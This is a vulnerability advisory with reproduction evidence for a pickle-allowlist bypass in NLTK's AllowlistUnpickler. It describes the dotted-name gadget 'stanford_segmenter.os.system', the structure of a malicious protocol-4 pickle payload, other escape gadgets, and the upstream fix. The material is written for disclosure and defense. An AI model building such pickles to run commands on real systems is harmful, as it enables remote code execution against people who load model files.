CVE-2026-71513: NLTK <3.10.3 RCE in AllowlistUnpickler — validates pickle module string but not global name; dotted-name traversal escapes allowlist to reach arbitrary callables

NLTK before 3.10.3 ships nltk.picklesec.AllowlistUnpickler, a pickle.Unpickler subclass meant to safely load untrusted model/data pickles by allowing only audited globals. Its find_class(module, name) hook validated only the module string against a prefix allowlist (allowed_modules) / exact-pair allowlist (allowed_globals) and never inspected name. For pickle protocol >= 4, pickle.Unpickler.find_class resolves the global by getattr-chaining the (possibly dotted) name starting from the imported module. An attacker can therefore keep the module string inside an allowlisted namespace (e.g. nltk.tokenize) while putting the escape into the name: stanford_segmenter.os.system. The allowlist passes, the dotted traversal reaches os.system, and a following REDUCE executes an arbitrary shell command while NLTK loads the "model". Fixed in NLTK 3.10.3.

• Package/component: nltk — nltk.picklesec.AllowlistUnpickler, reached via the public data-loading entrypoints nltk.tokenize.punkt.punkt_pickle_load (legacy Punkt pickle models, allowlist ("nltk.tokenize.punkt", "nltk.tokenize")) and nltk.parse.transitionparser.TransitionParser model loading (allowlist ("numpy", "scipy", "sklearn")).
• Affected versions: nltk < 3.10.3 (confirmed on 3.10.2).
• Risk: high — arbitrary code execution with the privileges of the Python process that loads an attacker-controlled pickle (e.g. a downloaded "compatible" Punkt model or parser model file).

Impact Parity

• Disclosed/claimed maximum impact: code execution (RCE).
• Reproduced impact from this run: code execution — the attacker command echo PRUVA_RCE_<attempt> > <marker> ran via os.system on 2/2 vulnerable attempts through the real public entrypoint; marker contents verified.
• Parity: full.
• Not demonstrated: nothing material — the claimed impact was demonstrated end-to-end against the real library API.

Root Cause

nltk/picklesec.py (3.10.2), AllowlistUnpickler.find_class:

def find_class(self, module: str, name: str) -> Any:
    if (module, name) in self._allowed_globals or self._module_allowed(module):
        return super().find_class(module, name)
    raise pickle.UnpicklingError(...)

Only module is checked against the prefix allowlist. The base-class implementation for protocol >= 4 does:

__import__(module)
return _getattribute(sys.modules[module], name)  # getattr-chains "a.b.c"

so name="stanford_segmenter.os.system" with module="nltk.tokenize" resolves nltk.tokenize.stanford_segmenter (a submodule that import os) → os → system, a callable the module allowlist never intended to expose. NLTK 3.10.3 fixes this in nltk/picklesec.py by rejecting dotted and dunder names before resolution (Guard 1/2), adding a denied-module prefix backstop (os, subprocess, builtins, nltk.internals, ...) that applies even under a broad allowlist (Guards 3–5), and re-checking the resolved object's true __module__/__qualname__ after resolution (_resolve). Fix reference: GHSA-4489 / GHSA-x99w hardening in nltk.picklesec (nltk 3.10.3 release).

Reproduction Steps

1. bundle/repro/reproduction_steps.sh (self-contained; reuses the prepared project cache for wheels/site dirs, falling back to pip + a local artifacts dir).
2. The script installs nltk==3.10.2 (vulnerable) and nltk==3.10.3 (fixed) into isolated --target site dirs, verifies the dotted-name guard is absent in 3.10.2 and present in 3.10.3, then runs bundle/repro/harness.py twice per side. The harness crafts a protocol-4 pickle REDUCE(GLOBAL("nltk.tokenize", "stanford_segmenter.os.system"), (cmd,)) and feeds it to the real public entrypoint nltk.tokenize.punkt.punkt_pickle_load.
3. Expected evidence: each vulnerable attempt creates repro/marker_vuln_<n>.txt containing PRUVA_RCE_vuln<n> (harness exit 10); each fixed attempt raises UnpicklingError: ... has a dotted name, which is forbidden and creates no marker (harness exit 11). Script exits 0 only if 2/2 + 2/2 hold.

Evidence

• bundle/logs/reproduction_steps.log / reproduction_steps_run2.log — full script output for two consecutive runs (both exit 0).
• bundle/logs/harness_vuln_{1,2}.log — nltk=3.10.2, punkt_pickle_load returned: 0, MARKER CONTENT: PRUVA_RCE_vuln<n>, RESULT: VULNERABLE - attacker command executed.
• bundle/logs/harness_fixed_{1,2}.log — nltk=3.10.3, BLOCKED with UnpicklingError: global 'nltk.tokenize.stanford_segmenter.os.system' has a dotted name, which is forbidden (attribute-traversal pickle RCE, GHSA-4489).
• bundle/repro/marker_vuln_{1,2}.txt — files created by the attacker command.
• bundle/repro/payload_{vuln,fixed}{1,2}.pickle — exact 87-byte malicious pickles used.
• Environment: Python 3.14.4, pip 25.1.1, linux x86_64. Vulnerable wheel nltk-3.10.2-py3-none-any.whl sha256 2c7ccacb765c5e26b0cb60fb1b57080af522c6924d12a714a243305ba3637412; fixed wheel nltk-3.10.3-py3-none-any.whl sha256 ff9598a8e20518ee0d557745890cc4435b9578489e2dcbc69c4f81fa060caf7c.
• bundle/repro/runtime_manifest.json — structured runtime evidence (entrypoint_kind=function_call, target_path_reached=true).

Recommendations / Next Steps

• Upgrade to nltk >= 3.10.3.
• Fix approach (already upstream): reject dotted/dunder global names before resolution; apply a denied-module backstop even under prefix allowlists; re-verify the resolved object's true __module__/__qualname__; refuse module-object results.
• Defense in depth for downstream users: never load pickle data from untrusted or unauthenticated sources even behind an allowlisting unpickler; prefer non-pickle model formats.
• Testing: regression-test that find_class rejects ("nltk.tokenize", "stanford_segmenter.os.system"), ("sklearn", "os.system"), in-namespace gadgets (numpy.f2py.crackfortran.myeval, ReppTokenizer._execute), and that legitimate single-qualname model pickles still load.

Additional Notes

• Idempotency: reproduction_steps.sh ran twice consecutively, both exit 0; the second run reused the cached site dirs/wheels.
• The escape gadget stanford_segmenter.os.system works because nltk.tokenize/__init__.py imports the stanford_segmenter submodule, which itself does import os; any allowlisted package with an os-importing submodule in its attribute tree is equally exposed (e.g. sklearn.os.system per the upstream regression test).
• No sanitizer or mock was used; the proof executes the real library code path and observes a real command side effect.